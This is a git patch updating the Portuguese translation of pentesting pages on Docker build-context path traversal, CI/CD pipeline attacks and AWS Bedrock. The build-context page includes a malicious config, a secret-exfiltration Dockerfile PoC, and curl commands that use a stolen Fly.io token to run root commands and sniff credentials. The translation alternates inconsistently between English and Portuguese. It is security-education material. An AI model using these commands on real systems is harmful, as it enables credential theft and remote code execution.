From 0c79409b197089ea714c341107a735c9f1500157 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 22:34:53 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 40 +++---- .../pentesting-ci-cd-methodology.md | 108 +++++++++--------- .../aws-services/aws-bedrock-enum.md | 6 +- 3 files changed, 77 insertions(+), 77 deletions(-) diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index b3b130c04..49dce9a47 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -4,26 +4,26 @@ ## TL;DR -Se uma plataforma CI/CD ou hosted builder permite que contribuidores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e incluir arquivos do host no build context. Em seguida, um Dockerfile controlado pelo atacante pode usar COPY e exfiltrate secrets encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização. +Se uma plataforma CI/CD ou hosted builder permitir que colaboradores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e tornar arquivos do host parte do build context. Então, um Dockerfile controlado pelo atacante pode COPY e exfiltrate segredos encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização. -## Attack surface +## Superfície de ataque -Muitos serviços de hosted builder/registry fazem algo nessa linha ao construir imagens submetidas por usuários: -- Ler uma repo-level config que inclui: -- build context path (sent to the Docker daemon) -- Dockerfile path relative to that context -- Copiar o diretório do build context indicado e o Dockerfile para o Docker daemon -- Build the image and run it as a hosted service +Muitos serviços de hosted builder/registry fazem mais ou menos isto ao construir imagens enviadas por usuários: +- Ler uma configuração a nível de repo que inclui: +- build context path (enviado ao Docker daemon) +- Dockerfile path relativo a esse contexto +- Copy o diretório do build context indicado e o Dockerfile para o Docker daemon +- Build da imagem e execução como um serviço hospedado -Se a plataforma não canonicalize e restrinja o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user passem a fazer parte do build context e fiquem disponíveis para COPY no Dockerfile. +Se a plataforma não canonicalizar e restringir o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user se tornem parte do build context e fiquem disponíveis para COPY no Dockerfile. Restrições práticas comumente observadas: -- O Dockerfile deve residir dentro do caminho do contexto escolhido e seu caminho deve ser conhecido antecipadamente. +- O Dockerfile deve residir dentro do caminho de contexto escolhido e seu caminho deve ser conhecido com antecedência. - O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia. ## PoC: Path traversal via Docker build context -Example malicious server config declaring a Dockerfile within the parent directory context: +Exemplo de configuração de servidor maliciosa declarando um Dockerfile dentro do contexto do diretório pai: ```yaml runtime: "container" build: @@ -41,8 +41,8 @@ exampleConfig: apiKey: "sk-example123" ``` Notas: -- Usar ".." frequentemente resolve para o diretório home do usuário builder (p.ex., /home/builder), que tipicamente contém arquivos sensíveis. -- Coloque seu Dockerfile dentro do diretório com o nome do repo (p.ex., repo "test" → test/Dockerfile) para que ele permaneça dentro do contexto pai expandido. +- Usar ".." frequentemente resolve para o diretório home do usuário builder (por exemplo, /home/builder), que normalmente contém arquivos sensíveis. +- Coloque seu Dockerfile sob o nome do diretório do repo (por exemplo, repo "test" → test/Dockerfile) para que permaneça dentro do contexto pai expandido. ## PoC: Dockerfile para ingerir e exfiltrar o contexto do host ```dockerfile @@ -58,28 +58,28 @@ Alvos comumente recuperados de $HOME: Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos. -## Pivot na cloud com overprivileged tokens (exemplo: Fly.io Machines API) +## Pivot na cloud com tokens excessivamente privilegiados (exemplo: Fly.io Machines API) -Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para a control-plane API. Se você exfiltrate um registry token, tente usá‑lo contra a API do provedor. +Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para o control-plane API. Se você exfiltrar um registry token, tente usá-lo contra a API do provedor. -Exemplo de chamadas à API contra Fly.io Machines API usando o token roubado de ~/.docker/config.json: +Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: -Enumerar apps em uma org: +Enumerate apps in an org: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` -Executar um comando como root dentro de qualquer máquina de um app: +Execute um comando como root dentro de qualquer máquina de um app: ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -Resultado: remote code execution em toda a organização, afetando todos os apps hospedados quando o token possui privilégios suficientes. +Resultado: org-wide remote code execution across all hosted apps where the token holds sufficient privileges. ## Roubo de segredos de serviços hospedados comprometidos -Com exec/RCE em servidores hospedados, você pode coletar segredos fornecidos pelo cliente (API keys, tokens) ou realizar prompt-injection attacks. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada. +Com exec/RCE em servidores hospedados, você pode obter segredos fornecidos pelo cliente (API keys, tokens) ou realizar ataques de prompt-injection. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada. ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index c336917d3..075c0df9f 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Metodologia de Pentesting CI/CD +# Pentesting CI/CD Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,51 +6,51 @@ ## VCS -VCS significa **Sistema de Controle de Versão**, este sistema permite que desenvolvedores **gerenciem seu código-fonte**. O mais comum é **git** e você normalmente encontrará empresas usando-o em uma das seguintes **plataformas**: +VCS significa **Version Control System**, estes sistemas permitem aos desenvolvedores **gerir o seu source code**. O mais comum é o **git** e normalmente encontrarás empresas a usá‑lo numa das seguintes **plataformas**: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Provedores de nuvem (eles oferecem suas próprias plataformas VCS) +- Cloud providers (they offer their own VCS platforms) ## CI/CD Pipelines -CI/CD pipelines permitem que desenvolvedores **automatem a execução de código** para diversos propósitos, incluindo build, testes e deploy de aplicações. Esses fluxos automatizados são **acionados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção. +CI/CD pipelines permitem aos desenvolvedores **automatizar a execução de code** para vários propósitos, incluindo build, testes e deploy de aplicações. Estes workflows automatizados são **disparados por ações específicas**, como pushes de code, pull requests, ou tarefas agendadas. São úteis para simplificar o processo do desenvolvimento até a produção. -No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy de código ou acesso a informações sensíveis**. +No entanto, estes sistemas precisam de ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy de code ou acesso a informação sensível**. -## Metodologia de VCS Pentesting +## VCS Pentesting Methodology > [!NOTE] -> Mesmo que algumas plataformas VCS permitam criar pipelines, para esta seção vamos analisar apenas ataques potenciais ao controle do código-fonte. +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -Plataformas que contêm o código-fonte do seu projeto armazenam informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um atacante pode abusar: +Plataformas que contêm o source code do teu projeto têm informação sensível e é preciso ter muito cuidado com as permissões concedidas dentro desta plataforma. Estes são alguns problemas comuns across VCS platforms que um atacante poderia abusar: -- **Leaks**: Se seu código contiver leaks nos commits e o atacante puder acessar o repo (porque é público ou porque ele tem acesso), ele poderá descobrir os leaks. -- **Acesso**: Se um atacante conseguir **acessar uma conta dentro da plataforma VCS** ele poderia obter **mais visibilidade e permissões**. -- **Registro**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta. -- **SSO**: Algumas plataformas não permitem registro, mas permitem que qualquer um acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo). -- **Credenciais**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... existem vários tipos de tokens que um usuário pode roubar para acessar de alguma forma um repo. -- **Webhooks**: Webhooks são permitidos nas plataformas VCS. Se não estiverem **protegidos** com segredos não visíveis, um **atacante pode abusar deles**. -- Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma terceirizada -- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo -- **Comprometimento do código:** Se um ator malicioso tiver algum tipo de **acesso de escrita** sobre os repos, ele poderia tentar **injetar código malicioso**. Para ter sucesso ele pode precisar **contornar proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos: -- Comprometer a main branch para **comprometer a produção**. -- Comprometer a main (ou outras branches) para **comprometer máquinas dos desenvolvedores** (já que eles normalmente executam testes, terraform ou outras coisas do repo em suas máquinas). -- **Comprometer a pipeline** (veja a próxima seção) +- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. +- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. +- **Register**: Some platforms will just allow external users to create an account. +- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. +- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. +- If no secret is in place, the attacker could abuse the webhook of the third party platform +- If the secret is in the URL, the same happens and the attacker also have the secret +- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: +- Compromise the main branch to **compromise production**. +- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). +- **Compromise the pipeline** (check next section) -## Metodologia de Pipelines Pentesting +## Pipelines Pentesting Methodology -A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração de CI hospedado no repositório** que a pipeline builda. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e configurações do ambiente de build.\ -Esses arquivos tipicamente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionada, a job da pipeline **puxa o código** da fonte selecionada (ex.: commit / branch), e **executa os comandos especificados no arquivo de configuração do CI** contra esse código. +The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ +These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. -Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**. +Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. > [!TIP] -> Alguns builders hospedados permitem que contribuidores escolham o contexto de build do Docker e o caminho do Dockerfile. Se o contexto for controlado pelo atacante, você pode defini-lo fora do repo (ex.: "..") para ingerir arquivos do host durante o build e exfiltrar segredos. Veja: +> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: > >{{#ref}} >docker-build-context-abuse.md @@ -58,55 +58,55 @@ Portanto, o objetivo final do atacante é de alguma forma **comprometer esses ar ### PPE - Poisoned Pipeline Execution -O Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar arquivos de configuração do CI ou outros arquivos usados pela job da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos. +The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. -Para que um ator malicioso tenha sucesso realizando um ataque PPE ele precisa ser capaz de: +For a malicious actor to be successful performing a PPE attack he needs to be able to: -- Ter **acesso de escrita à plataforma VCS**, pois normalmente pipelines são acionadas quando um push ou um pull request é realizado. (Veja a metodologia de VCS para um resumo de formas de obter acesso). -- Note que às vezes um **PR externo conta como "acesso de escrita"**. -- Mesmo que ele tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de config do CI ou outros arquivos dos quais o config dependa**. -- Para isso, pode ser necessário **contornar as proteções de branch**. +- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). +- Note that sometimes an **external PR count as "write access"**. +- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. +- For this, he might need to be able to **bypass branch protections**. -Existem 3 variantes de PPE: +There are 3 PPE flavours: -- **D-PPE**: Um **Direct PPE** ocorre quando o ator **modifica o arquivo de config do CI** que será executado. -- **I-DDE**: Um **Indirect PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de config do CI depende (como um make file ou uma terraform config). -- **Public PPE or 3PE**: Em alguns casos as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repo** (e que podem nem mesmo fazer parte da org) porque podem enviar um PR. -- **3PE Command Injection**: Geralmente, CI/CD pipelines vão **definir environment variables** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **local perigoso** (como na execução de comandos sh), um atacante pode **injetar comandos ali**. +- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. +- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). +- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. +- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. -### Benefícios da Exploração +### Exploitation Benefits -Conhecendo as 3 variantes para envenenar uma pipeline, vejamos o que um atacante poderia obter após uma exploração bem-sucedida: +Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: -- **Segredos**: Como mencionado anteriormente, pipelines requerem **privilégios** para suas jobs (recuperar o código, build, deploy...) e esses privilégios geralmente são **concedidos em secrets**. Esses secrets geralmente são acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo de secrets possível. -- Dependendo da plataforma de pipeline o atacante **pode precisar especificar os secrets na config**. Isso significa que se o atacante não puder modificar a configuração da pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que aquela pipeline possui**. -- **Computação**: O código é executado em algum lugar; dependendo de onde é executado, um atacante pode ser capaz de pivotar mais. -- **On-Premises**: Se as pipelines são executadas on-premises, um atacante pode chegar em uma **rede interna com acesso a mais recursos**. -- **Cloud**: O atacante pode acessar **outras máquinas na cloud** mas também pode **exfiltrar** tokens de roles IAM/service accounts para obter **acesso adicional dentro da cloud**. -- **Máquinas da plataforma**: Às vezes as jobs serão executadas dentro das **máquinas da plataforma de pipelines**, que normalmente estão em uma cloud sem **mais acessos**. -- **Selecione:** Às vezes a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração do CI** você pode **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente rodará um reverse shell em cada máquina possível para tentar explorá-la mais a fundo. -- **Comprometer a produção**: Se você estiver dentro da pipeline e a versão final for buildada e deployada a partir dela, você pode **comprometer o código que vai rodar em produção**. +- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. +- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. +- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. +- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. +- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. +- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. +- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. +- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. -## Mais informações relevantes +## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua stack de software supply chain quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. ### Top 10 CI/CD Security Risk -Confira este artigo interessante sobre os top 10 riscos de CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) -### Laboratórios +### Labs -- Em cada plataforma que você puder rodar localmente você encontrará como iniciá-la localmente para que possa configurá-la como quiser para testar +- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### Ferramentas Automáticas +### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise estática para infraestrutura como código. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. -## Referências +## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index 9059ff33a..b8c7fed97 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Visão Geral +## Visão geral -Amazon Bedrock é um serviço totalmente gerenciado que facilita a criação e o dimensionamento de aplicações de IA generativa usando modelos fundamentais (FMs) de startups líderes em IA e da Amazon. O Bedrock fornece acesso a vários FMs por meio de uma única API, permitindo que desenvolvedores escolham o modelo mais adequado para seus casos de uso específicos sem precisar gerenciar a infraestrutura subjacente. +Amazon Bedrock é um serviço totalmente gerenciado que facilita a criação e o escalonamento de aplicações de IA generativa usando modelos de base (FMs) de startups líderes em IA e da Amazon. O Bedrock fornece acesso a vários FMs por meio de uma única API, permitindo que os desenvolvedores escolham o modelo mais adequado para seus casos de uso específicos sem gerenciar a infraestrutura subjacente. -## Post Exploitation +## Pós-exploração {{#ref}} ../aws-post-exploitation/aws-bedrock-post-exploitation/README.md